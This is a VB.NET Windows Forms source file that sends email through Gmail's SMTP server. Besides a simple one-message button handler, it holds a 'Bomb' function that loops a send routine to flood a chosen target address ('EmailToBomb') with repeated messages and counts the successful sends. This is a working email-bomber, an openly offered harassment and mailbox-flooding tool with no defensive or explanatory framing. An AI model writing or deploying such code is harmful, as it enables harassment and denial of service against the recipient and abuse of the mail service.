Imports System.Net.Mail

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim Mail As New MailMessage
        Mail.Subject = TextBox4.Text
        Mail.To.Add(TextBox2.Text)
        Mail.From = New MailAddress(TextBox2.Text)
        Mail.Body = TextBox1.Text

        Dim SMTP As New SmtpClient("smtp.gmail.com")
        SMTP.EnableSsl = True
        SMTP.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
        SMTP.Port = "587"
        SMTP.Send(Mail)
    End Sub

    Public Function Bomb(ByVal EmailToBomb As String, ByVal TimesToBomb As Integer) As Integer
        Dim bombs As Integer = 0 'count of times bombed
        For i = 0 To TimesToBomb - 1 'multiple bombs through a loop
            Dim username As String = "GmailUsername"
            Dim password As String = "UsernamePassword"
            Dim emailFrom As String = "Email_From"
            Dim message As String = "Your bomb message here."
            Dim subject As String = "Your subject here."
            If SendMail(username, password, EmailToBomb, emailFrom, subject, message) Then
                bombs += 1 'message was sent; increment the count of times bombed.

                'you can update a label here with times bombed.

                My.Application.DoEvents()
            End If
        Next
        Return bombs 'return the number of successful messages sent
    End Function

    Public Function SendMail(ByVal Username As String, ByVal Password As String, ByVal Recipient As String, ByVal EmailFrom As String, ByVal Subject As String, ByVal Message As String) As Boolean
        Try
            Dim Mail1 As New Net.Mail.MailMessage
            Mail1.Subject = Subject
            Mail1.To.Add(Recipient)
            Mail1.From = New Net.Mail.MailAddress(EmailFrom)
            Mail1.Body = Message
            Dim smtp As New Net.Mail.SmtpClient("smtp.gmail.com")
            smtp.EnableSsl = True
            smtp.Credentials = New System.Net.NetworkCredential(Username, Password)
            smtp.Port = 587
            smtp.Send(Mail1)
            Return True 'sent
        Catch
            Return False 'not sent
        End Try
    End Function

End Class